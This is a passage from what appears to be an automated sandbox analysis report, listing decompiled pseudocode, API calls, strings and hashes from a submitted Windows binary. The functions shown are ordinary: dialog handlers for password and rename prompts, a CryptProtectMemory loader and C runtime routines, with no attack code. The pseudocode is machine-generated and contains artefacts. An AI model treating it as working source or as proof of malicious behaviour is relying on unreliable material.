									E00268C96(_t27, _t32, 0x2a0288);
									E0026835E(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E0026835E();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E0026A49B(_t25, _t37, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E0026A49B(_t23, _t36, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x00268e25
0x00268e25
0x00268e25
0x00268e2f
0x00268e31
0x00268e36
0x00268e39
0x00268e47
0x00268e4e
0x00268e53
0x00268e56
0x00268e59
0x00268e6b
0x00268e70
0x00268e72
0x00268e7d
0x00268e84
0x00268e89
0x00268e8c
0x00268e8e
0x00000000
0x00000000
0x00000000
0x00000000
0x00268e74
0x00268e74
0x00000000
0x00268e74
0x00268e5b
0x00268e5b
0x00268e5c
0x00268e5c
0x00268e61
0x00268e9c
0x00268e9d
0x00268ea3
0x00268ea8
0x00268eab
0x00268eac
0x00268ead
0x00268eb4
0x00268eb6
0x00268eb8
0x00268ebd
0x00268ec0
0x00268ece
0x00268eda
0x00268edd
0x00268ee0
0x00268ef2
0x00268ef7
0x00268ef9
0x00268f04
0x00268f0a
0x00268f12
0x00268f14
0x00000000
0x00000000
0x00000000
0x00000000
0x00268efb
0x00268efb
0x00000000
0x00268efb
0x00268ee2
0x00268ee2
0x00268ee3
0x00268ee3
0x00268f16
0x00268f17
0x00268f17
0x00268ec2
0x00268ec8
0x00268ecc
0x00268f1f
0x00268f20
0x00268f26
0x00000000
0x00000000
0x00000000
0x00268ecc
0x00268f2d
0x00268f2d
0x00268e3b
0x00268e41
0x00268e45
0x00268e90
0x00268e91
0x00268e9b
0x00000000
0x00000000
0x00000000
0x00268e45

APIs

GetLastError.KERNEL32(?,0027FF50,00263C54,0027FF50,?,?,002636CF,?,?,0027FF50), ref: 00268E29
_free.LIBCMT ref: 00268E5C
_free.LIBCMT ref: 00268E84
SetLastError.KERNEL32(00000000,?,0027FF50), ref: 00268E91
SetLastError.KERNEL32(00000000,?,0027FF50), ref: 00268E9D
_abort.LIBCMT ref: 00268EA3

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 813c07017f0a2929aa8a728906a156e8c4ba11954970966371ebf5ad49b299b6
Instruction ID: d54e4bed3a343198b70d26f2894769e9a246343e9615236a07cac381384a0b2b
Opcode Fuzzy Hash: 813c07017f0a2929aa8a728906a156e8c4ba11954970966371ebf5ad49b299b6
Instruction Fuzzy Hash: D4F0283662070166C6223B347C0EF1B26699FC1B21B250314F61DA2292EE6288F28862

Uniqueness

Uniqueness Score: -1.00%

Function 0025A8E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0025A8E0(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v260;
				void* __ebx;
				void* _t15;
				signed short _t24;
				struct HWND__* _t28;
				intOrPtr _t29;
				void* _t30;

				_t24 = _a12;
				_t29 = _a8;
				_t28 = _a4;
				if(E0024130B(__edx, _t28, _t29, _t24, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t30 = _t29 - 0x110;
				if(_t30 == 0) {
					SetDlgItemTextW(_t28, 0x67, _a16);
					goto L10;
				}
				if(_t30 != 1) {
					L5:
					return 0;
				}
				_t15 = (_t24 & 0x0000ffff) - 1;
				if(_t15 == 0) {
					GetDlgItemTextW(_t28, 0x66,  &_v260, 0x80);
					E0024EBED(_t24, 0x295a70,  &_v260);
					E0024EC38( &_v260, 0x80);
					_push(1);
					L7:
					EndDialog(_t28, ??);
					goto L10;
				}
				if(_t15 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0025a8ea
0x0025a8ee
0x0025a8f2
0x0025a90b
0x0025a97a
0x00000000
0x0025a97c
0x0025a90d
0x0025a913
0x0025a974
0x00000000
0x0025a974
0x0025a918
0x0025a927
0x00000000
0x0025a927
0x0025a91d
0x0025a920
0x0025a946
0x0025a958
0x0025a965
0x0025a96a
0x0025a92d
0x0025a92e
0x00000000
0x0025a92e
0x0025a925
0x0025a92b
0x00000000
0x0025a92b
0x00000000

APIs

Part of subcall function 0024130B: GetDlgItem.USER32(00000000,00003021), ref: 0024134F
Part of subcall function 0024130B: SetWindowTextW.USER32(00000000,002725B4), ref: 00241365

EndDialog.USER32(?,00000001), ref: 0025A92E
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0025A946
SetDlgItemTextW.USER32(?,00000067,?), ref: 0025A974

Strings

pZ), xrefs: 0025A952
GETPASSWORD1, xrefs: 0025A8F9

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1$pZ)
API String ID: 445417207-3403624077
Opcode ID: a7c79c17e6c1ecc3240e9f457c32b72fe8cbdbc6c8de4afb7298b0381e1358fe
Instruction ID: 4732600ffc14c1000837bf6824c95da1c15a403a166fd06d0951d718ac57f469
Opcode Fuzzy Hash: a7c79c17e6c1ecc3240e9f457c32b72fe8cbdbc6c8de4afb7298b0381e1358fe
Instruction Fuzzy Hash: 3A114832920129B7DB219E64AD4AFFB7B7CEF4A752F020111FE45B3080C2B1D9748A76

Uniqueness

Uniqueness Score: -1.00%

Function 0025CB10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0025CB10(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t12;
				WCHAR* _t16;
				void* _t17;
				intOrPtr _t18;
				void* _t19;
				struct HWND__* _t21;
				signed short _t22;

				_t16 = _a16;
				_t22 = _a12;
				_t21 = _a4;
				_t18 = _a8;
				if(E0024130B(_t17, _t21, _t18, _t22, _t16, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t19 = _t18 - 0x110;
				if(_t19 == 0) {
					 *0x29dca4 = _t16;
					SetDlgItemTextW(_t21, 0x66, _t16);
					SetDlgItemTextW(_t21, 0x68,  *0x29dca4);
					goto L10;
				}
				if(_t19 != 1) {
					L5:
					return 0;
				}
				_t12 = (_t22 & 0x0000ffff) - 1;
				if(_t12 == 0) {
					GetDlgItemTextW(_t21, 0x68,  *0x29dca4, 0x800);
					_push(1);
					L7:
					EndDialog(_t21, ??);
					goto L10;
				}
				if(_t12 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0025cb11
0x0025cb16
0x0025cb1b
0x0025cb20
0x0025cb38
0x0025cb9a
0x00000000
0x0025cb9c
0x0025cb3a
0x0025cb40
0x0025cb7f
0x0025cb85
0x0025cb94
0x00000000
0x0025cb94
0x0025cb45
0x0025cb54
0x00000000
0x0025cb54
0x0025cb4a
0x0025cb4d
0x0025cb71
0x0025cb77
0x0025cb5a
0x0025cb5b
0x00000000
0x0025cb5b
0x0025cb52
0x0025cb58
0x00000000
0x0025cb58
0x00000000

APIs

Part of subcall function 0024130B: GetDlgItem.USER32(00000000,00003021), ref: 0024134F
Part of subcall function 0024130B: SetWindowTextW.USER32(00000000,002725B4), ref: 00241365

EndDialog.USER32(?,00000001), ref: 0025CB5B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0025CB71
SetDlgItemTextW.USER32(?,00000066,?), ref: 0025CB85
SetDlgItemTextW.USER32(?,00000068), ref: 0025CB94

Strings

RENAMEDLG, xrefs: 0025CB28

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 505721729b0446aeaafa6c2ba2f485f21bc278ad3dbb479790cc48bb4c1861ab
Instruction ID: f6e23198e6e4677e0cbe55fb18919e4f8e37e269c2f82e58183ab35f0cfd91c7
Opcode Fuzzy Hash: 505721729b0446aeaafa6c2ba2f485f21bc278ad3dbb479790cc48bb4c1861ab
Instruction Fuzzy Hash: E401F5326A43117FD2105F24AD0EF663B6CEB5AB57F200412F705A60D0DAB198299B79

Uniqueness

Uniqueness Score: -1.00%

Function 00262319 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 24%

			E00262319(void* __ebx, void* __edx, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t25;
				void* _t27;
				void* _t28;
				intOrPtr _t30;
				intOrPtr* _t32;
				void* _t34;

				_t29 = __edx;
				_t27 = __ebx;
				_t36 = _a28;
				_t30 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t30);
					_t5 =  &_a4; // 0x262745
					_push( *_t5);
					E00262968(__edx, _t36);
					_t34 = _t34 + 0x10;
				}
				_t37 = _a40;
				_t7 =  &_a4; // 0x262745
				_push( *_t7);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t30);
				}
				E0025FA5B(_t28);
				_t32 = _a32;
				_push( *_t32);
				_push(_a20);
				_push(_a16);
				_push(_t30);
				E00262B6A(_t27, _t28, _t29, _t30, _t37);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t30 + 8)) =  *((intOrPtr*)(_t32 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t30);
				_push(_a4);
				_t25 = E00262123(_t29, _t32, _t37);
				if(_t25 != 0) {
					E0025FA29(_t25, _t30);
					return _t25;
				}
				return _t25;
			}

0x00262319
0x00262319
0x0026231c
0x00262321
0x00262324
0x00262326
0x00262329
0x0026232c
0x0026232d
0x0026232d
0x00262330
0x00262335
0x00262335
0x00262338
0x0026233c
0x0026233c
0x0026233f
0x00262344
0x00262341
0x00262341
0x00262341
0x00262347
0x0026234d
0x00262350
0x00262352
0x00262355
0x00262358
0x00262359
0x00262362
0x00262367
0x0026236a
0x00262370
0x00262373
0x00262376
0x00262379
0x0026237a
0x0026237d
0x00262388
0x0026238c
0x00000000
0x0026238c
0x00262393

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00262330

Part of subcall function 00262968: ___AdjustPointer.LIBCMT ref: 002629B2

_UnwindNestedFrames.LIBCMT ref: 00262347
___FrameUnwindToState.LIBVCRUNTIME ref: 00262359
CallCatchBlock.LIBVCRUNTIME ref: 0026237D

Strings

E'&, xrefs: 0026233C, 0026232D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID: E'&
API String ID: 2633735394-2178458017
Opcode ID: 85922d69eac58b553849b4939f9ebe2b6291e1533c257ba7745a1c0a1e2d1bc0
Instruction ID: 793bc44374a94cf4c41e01ce3167642ef18b77ac2407fbe767e9234ae9a68748
Opcode Fuzzy Hash: 85922d69eac58b553849b4939f9ebe2b6291e1533c257ba7745a1c0a1e2d1bc0
Instruction Fuzzy Hash: A1011332010509FBCF129F55CC01EDA3BAAEF89754F158054FE5866221C336E8B5EFA0

Uniqueness

Uniqueness Score: -1.00%

Function 002673E8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00267399,?,?,00267339,?,0027AAB8,0000000C,00267490,?,00000002), ref: 00267408
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0026741B
FreeLibrary.KERNEL32(00000000,?,?,?,00267399,?,?,00267339,?,0027AAB8,0000000C,00267490,?,00000002,00000000), ref: 0026743E

Strings

CorExitProcess, xrefs: 00267413
mscoree.dll, xrefs: 00267401

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 555085975b92a0526c308bb33e5fb0dd721be5a508101c0bb742b9dc37b826fd
Instruction ID: 52f7be68206a96bf7e51d51f9c137dd67747ed020b32b4726b1bca1f8f945461
Opcode Fuzzy Hash: 555085975b92a0526c308bb33e5fb0dd721be5a508101c0bb742b9dc37b826fd
Instruction Fuzzy Hash: C1F03C31A15209EBCB15AFA5EC0DAAEBFB8EB04765F4040A4E80DA2151DB308A94DA91

Uniqueness

Uniqueness Score: -1.00%

Function 0024EAB3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0024EAB3(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t9;

				_t9 = __ecx;
				if(__ecx[1] == 0) {
					_t6 = E0024FFE3(L"Crypt32.dll");
					 *__ecx = _t6;
					if(_t6 != 0) {
						_t9[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t9, "CryptUnprotectMemory");
						_t9[3] = _t6;
					}
					_t9[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x0024eab4
0x0024eaba
0x0024eac1
0x0024eac6
0x0024eaca
0x0024eadf
0x0024eae2
0x0024eae8
0x0024eae8
0x0024eaeb
0x00000000
0x0024eaeb
0x0024eaf0

APIs

Part of subcall function 0024FFE3: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 0024FFFE
Part of subcall function 0024FFE3: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0024EAC6,Crypt32.dll,00000000,0024EB4A,?,?,0024EB2C,?,?,?), ref: 00250020

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0024EAD2
GetProcAddress.KERNEL32(002871C0,CryptUnprotectMemory), ref: 0024EAE2

Strings

Crypt32.dll, xrefs: 0024EABC
CryptUnprotectMemory, xrefs: 0024EAD8
CryptProtectMemory, xrefs: 0024EACC

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 4b0bbcf4274cb56704833d7b71928a1977609f25a59bd1bfc76efe0c536114c8
Instruction ID: 4bce1693f378608a68e0b8835581c30cb064760099612c4adc31b10ba608a259
Opcode Fuzzy Hash: 4b0bbcf4274cb56704833d7b71928a1977609f25a59bd1bfc76efe0c536114c8
Instruction Fuzzy Hash: A4E01A70860752DADB255F38A809A06BAE46B15714F15C819F5C9D3580D6B494988B60

Uniqueness

Uniqueness Score: -1.00%

Function 00267C09 Relevance: 7.6, APIs: 5, Instructions: 129
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E00267C09(signed int* __ecx, signed int __edx) {
				signed int _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _t28;
				signed int _t29;
				intOrPtr _t33;
				signed int _t37;
				signed int _t38;
				signed int _t40;
				void* _t50;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t80;
				signed int* _t81;
				signed int _t85;
				void* _t86;

				_t72 = __edx;
				_v12 = __ecx;
				_t28 =  *__ecx;
				_t81 =  *_t28;
				if(_t81 != 0) {
					_t29 =  *0x27d668; // 0xdef7aace
					_t56 =  *_t81 ^ _t29;
					_t78 = _t81[1] ^ _t29;
					_t83 = _t81[2] ^ _t29;
					asm("ror edi, cl");
					asm("ror esi, cl");
					asm("ror ebx, cl");
					if(_t78 != _t83) {
						L14:
						 *_t78 = E00267F3C( *((intOrPtr*)( *((intOrPtr*)(_v12 + 4)))));
						_t33 = E00262F99(_t56);
						_t57 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)))) = _t33;
						_t24 = _t78 + 4; // 0x4
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 4)) = E00262F99(_t24);
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 8)) = E00262F99(_t83);
						_t37 = 0;
						L15:
						return _t37;
					}
					_t38 = 0x200;
					_t85 = _t83 - _t56 >> 2;
					if(_t85 <= 0x200) {
						_t38 = _t85;
					}
					_t80 = _t38 + _t85;
					if(_t80 == 0) {
						_t80 = 0x20;
					}
					if(_t80 < _t85) {
						L9:
						_push(4);
						_t80 = _t85 + 4;
						_push(_t80);
						_v8 = E0026B593(_t56);
						_t40 = E0026835E(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							goto L11;
						}
						_t37 = _t40 | 0xffffffff;
						goto L15;
					} else {
						_push(4);
						_push(_t80);
						_v8 = E0026B593(_t56);
						E0026835E(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							L11:
							_t56 = _t68;
							_v8 = _t68 + _t85 * 4;
							_t83 = _t68 + _t80 * 4;
							_t78 = _v8;
							_push(0x20);
							asm("ror eax, cl");
							_t71 = _t78;
							_v16 = 0 ^  *0x27d668;
							asm("sbb edx, edx");
							_t74 =  !_t72 & _t68 + _t80 * 0x00000004 - _t78 + 0x00000003 >> 0x00000002;
							_v8 = _t74;
							if(_t74 == 0) {
								goto L14;
							}
							_t75 = _v16;
							_t50 = 0;
							do {
								_t50 = _t50 + 1;
								 *_t71 = _t75;
								_t71 = _t71 + 4;
							} while (_t50 != _v8);
							goto L14;
						}
						goto L9;
					}
				}
				return _t28 | 0xffffffff;
			}

0x00267c09
0x00267c13
0x00267c17
0x00267c19
0x00267c1d
0x00267c27
0x00267c38
0x00267c3d
0x00267c3f
0x00267c41
0x00267c43
0x00267c45
0x00267c49
0x00267d03
0x00267d11
0x00267d13
0x00267d18
0x00267d1f
0x00267d21
0x00267d2f
0x00267d3e
0x00267d41
0x00267d43
0x00000000
0x00267d44
0x00267c51
0x00267c56
0x00267c5b
0x00267c5d
0x00267c5d
0x00267c5f
0x00267c64
0x00267c68
0x00267c68
0x00267c6b
0x00267c8a
0x00267c8a
0x00267c8c
0x00267c8f
0x00267c98
0x00267c9b
0x00267ca0
0x00267ca3
0x00267ca8
0x00000000
0x00000000
0x00267caa
0x00000000
0x00267c6d
0x00267c6d
0x00267c6f
0x00267c78
0x00267c7b
0x00267c80
0x00267c83
0x00267c88
0x00267cb2
0x00267cb5
0x00267cb7
0x00267cba
0x00267cc2
0x00267cc8
0x00267ccf
0x00267cd1
0x00267cd9
0x00267ce8
0x00267cec
0x00267cee
0x00267cf1
0x00000000
0x00000000
0x00267cf3
0x00267cf6
0x00267cf8
0x00267cf8
0x00267cf9
0x00267cfb
0x00267cfe
0x00000000
0x00267cf8
0x00000000
0x00267c88
0x00267c6b
0x00000000

APIs

_free.LIBCMT ref: 00267C7B
_free.LIBCMT ref: 00267C9B

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 6da7598fa201296e85bb28b7132c135c2b50bc58ba6acf5e6721774821b653c8
Instruction ID: b4010b4ae41a13d82979e0c96eb3ccc8001eaff248fb10ebb6ea12434fe587cd
Opcode Fuzzy Hash: 6da7598fa201296e85bb28b7132c135c2b50bc58ba6acf5e6721774821b653c8
Instruction Fuzzy Hash: AA41AF36A10300DFCB24DF78D881A6EB7B6EF89714F1545A9E519EB381DB31AD91CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0026B510 Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0026B510() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E0026B4D9(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t25 = E00268398(_t19, _t7);
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E0026835E(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}

0x0026b51f
0x0026b525
0x0026b57d
0x0026b57d
0x0026b527
0x0026b528
0x0026b52d
0x0026b536
0x0026b53c
0x0026b542
0x0026b547
0x00000000
0x0026b549
0x0026b54f
0x0026b554
0x0026b572
0x0026b56c
0x0026b56c
0x0026b56e
0x0026b56e
0x0026b575
0x0026b57a
0x0026b547
0x0026b581
0x0026b584
0x0026b584
0x0026b592

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0026B519
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0026B53C

Part of subcall function 00268398: RtlAllocateHeap.NTDLL(00000000,?,?,?,00263866,?,0000015D,?,?,?,?,00264D42,000000FF,00000000,?,?), ref: 002683CA

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0026B562
_free.LIBCMT ref: 0026B575
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0026B584

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 87ea9ed8ff401923f55eb5049e837983cd56b9b19d38e12f1bec8ab0a532c058
Instruction ID: 2edf38ace3813c8be2335ab7434de91292a443245fd732c9b717dd0a3b8cba14
Opcode Fuzzy Hash: 87ea9ed8ff401923f55eb5049e837983cd56b9b19d38e12f1bec8ab0a532c058
Instruction Fuzzy Hash: 4F01D472B21211BF27321A766C8CCBB6A6DEEC6FA03550228FD0AC2651DF61CDD185B1

Uniqueness

Uniqueness Score: -1.00%

Function 00268EA9 Relevance: 7.6, APIs: 5, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E00268EA9(void* __ecx, void* __edx) {
				void* __esi;
				intOrPtr _t2;
				void* _t4;
